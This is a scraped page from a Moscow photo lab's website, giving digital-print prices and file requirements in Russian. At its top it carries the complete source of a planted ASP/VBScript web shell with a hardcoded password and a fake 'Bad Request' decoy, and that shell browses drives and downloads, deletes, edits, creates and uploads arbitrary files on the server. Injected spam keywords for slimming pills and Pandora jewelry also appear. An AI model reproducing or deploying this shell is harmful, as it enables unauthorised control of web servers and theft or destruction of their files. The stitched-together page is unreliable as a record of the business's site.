meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....  
<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("		") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр / Цифровая печать
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.

Главная страница | Цифровая печать
Цифровая печать

Noritsu QSS-2901 принимает информацию с цифровых носителей: PC карты, магнито-оптики, FD, ZIP и компакт-диски. Следует отметить, что лаборатория в качестве источника информации также использует традиционные носители, такие как: слайды, ч/б и цветные негативы форматов: 110, 135, 120, 220.Экспонирющее устройство принтера позволяет делать отпечатки размером до 305х457 мм с разрешением 400 точек на дюйм. Технология цифровой обработки Digital ICE распознаёт царапины на изображении и автоматически удаляет их с негатива.
 
ЦИФРОВАЯ ПЕЧАТЬ (Noritsu 2901)
 Формат С файла 135 негатив 120 негатив, позитив и ч/б Metallic
10х15 6 руб. 5.70 руб. 7 руб. 10 руб.
11х15 7 руб. 7 руб. 9 руб. 12 руб.
15х15 9 руб. 9 руб. 12 руб. 16 руб.
15х20 11 руб. 11 руб. 14 руб. 19 руб.
15х23 12 руб. 12 руб. 15 руб. 21 руб.
20х30 35 руб. 35 руб. 40 руб. 80 руб.
24х30 45 руб. 45 руб. 50 руб. 100 руб.
30х30 60 руб. 60 руб. 70 руб. 120 руб.
30х40 75 руб. 75 руб. 80 руб. 150 руб.
30х45 85 руб. 85 руб. 90 руб. 170 руб.
      
      Панорама 15х45 на бумаге Profoto 30,00р.          Панорама 15х45 на бумаге Metallic 50,00р.



Наценка за кадрирование
Наценка за резаную пленку и/или выборочную печат

 Формат

 Цена

 Формат

 Цена

 10х15 и выше

 1 руб.

 10х15 и выше

 1 руб.

 15х20 и выше

 3 руб.

 15х20 и выше

 50 коп.

 20х30 и выше

 5 руб.

 20х30 и выше

 бесплатно

30x45 и выше

10 руб.

    

Проба (полоса) 10х15 и выше - 5 руб., 20х30 и выше - 10 руб. 

Срок исполнения - 24 часа. Все работы могут проводиться в присутствии заказчика в порядке живой очереди.
Срочная печать (без очереди, за 1 час) + 25%. 
Пробы в полный кадр оплачиваются по полной стоимости
 
 
ТРЕБОВАНИЯ К ФАЙЛАМ ДЛЯ ЦИФРОВОЙ ПЕЧАТИ

Размер изображения (без полей):

  • 10х15 — 102х152 мм
  • 15х20 — 152х203 мм
  • 15х23 — 152х228 мм
  • 20х30 — 203х305 мм
  • 30х40 — 305х405 мм
  • 30х45 — 305х457 мм

    Допустимые форматы файлов — TIF, JPG. Разрешение — 400 dpi. Цвет — RGB [8 bit].
    Чёрно-белые изображения предоставляются только в RGB [8 bit] (не в Grayscale).
    Файл не должен содержать слоёв, масок, α-каналов.
    •  
       


    (495) 916-22-82
    (495) 916-18-97

    АртФотоЦентр: Покровский бульвар, дом 1.

    © 2012 «АртФотоЦентр»
    Перепечатка текстовых материалов допускается только с обязательной
    ссылкой на источник — http://www.artfotocenter.ru

    Аренда фотостуди Фотостудия в аренду Фотостудия
    http://ostudios.ru/      - Фотостудия .QuattroFashion

    Оцифровка, Видеосъёмка, Слайд-шоу, Разработка фильма, Видеомонтаж,
    http://www.media-cinema.ru/      Видеопроизводство MEDIA-CINEMA.

    Все представленные фотографии — собственность авторов. Разработка сайта StudioDP.
       


    pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace